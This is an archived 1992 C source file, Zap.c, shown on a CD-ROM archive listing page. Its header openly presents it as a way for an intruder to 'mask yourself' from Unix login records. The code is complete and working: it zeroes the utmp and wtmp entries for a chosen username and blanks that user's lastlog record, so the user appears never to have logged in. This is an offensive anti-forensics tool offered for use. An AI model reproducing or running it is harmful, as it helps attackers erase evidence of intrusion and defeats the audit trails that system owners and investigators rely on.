home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ZAP.ZIP / ZAP.C next >
C/C++ Source or Header  |  1992-09-28  |  2KB  |  77 lines

  1.  
  2. /*
  3.       Title:  Zap.c (c) rokK Industries
  4.    Sequence:  911204.B
  5.  
  6.     Syztems:  Kompiles on SunOS 4.+
  7.        Note:  To mask yourself from lastlog and wtmp you need to be root,
  8.               utmp is go+w on default SunOS, but is sometimes removed.
  9.     Kompile:  cc -O Zap.c -o Zap
  10.         Run:  Zap <Username>
  11.  
  12.        Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
  13.               entered Username. It also Zeros out the last login data for
  14.               the specific user, fingering that user will show 'Never Logged
  15.               In'
  16.  
  17.       Usage:  If you cant find a usage for this, get a brain.
  18. */
  19.  
  20. #include <sys/types.h>
  21. #include <stdio.h>
  22. #include <unistd.h>
  23. #include <fcntl.h>
  24. #include <utmp.h>
  25. #include <lastlog.h>
  26. #include <pwd.h>
  27.  
  28. int f;
  29.  
  30. void kill_tmp(name,who)
  31. char *name,
  32.      *who;
  33. {
  34.     struct utmp utmp_ent;
  35.  
  36.   if ((f=open(name,O_RDWR))>=0) {
  37.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  38.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  39.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  40.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  41.                  write (f, &utmp_ent, sizeof (utmp_ent));
  42.             }
  43.      close(f);
  44.   }
  45. }
  46.  
  47. void kill_lastlog(who)
  48. char *who;
  49. {
  50.     struct passwd *pwd;
  51.     struct lastlog newll;
  52.  
  53.      if ((pwd=getpwnam(who))!=NULL) {
  54.  
  55.         if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
  56.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  57.             bzero((char *)&newll,sizeof( newll ));
  58.             write(f, (char *)&newll, sizeof( newll ));
  59.             close(f);
  60.         }
  61.  
  62.     } else printf("%s: ?\n",who);
  63. }
  64.  
  65. main(argc,argv)
  66. int  argc;
  67. char *argv[];
  68. {
  69.     if (argc==2) {
  70.         kill_tmp("/etc/utmp",argv[1]);
  71.         kill_tmp("/usr/adm/wtmp",argv[1]);
  72.         kill_lastlog(argv[1]);
  73.         printf("Zap!\n");
  74.     } else
  75.     printf("Error.\n");
  76. }
  77. fm#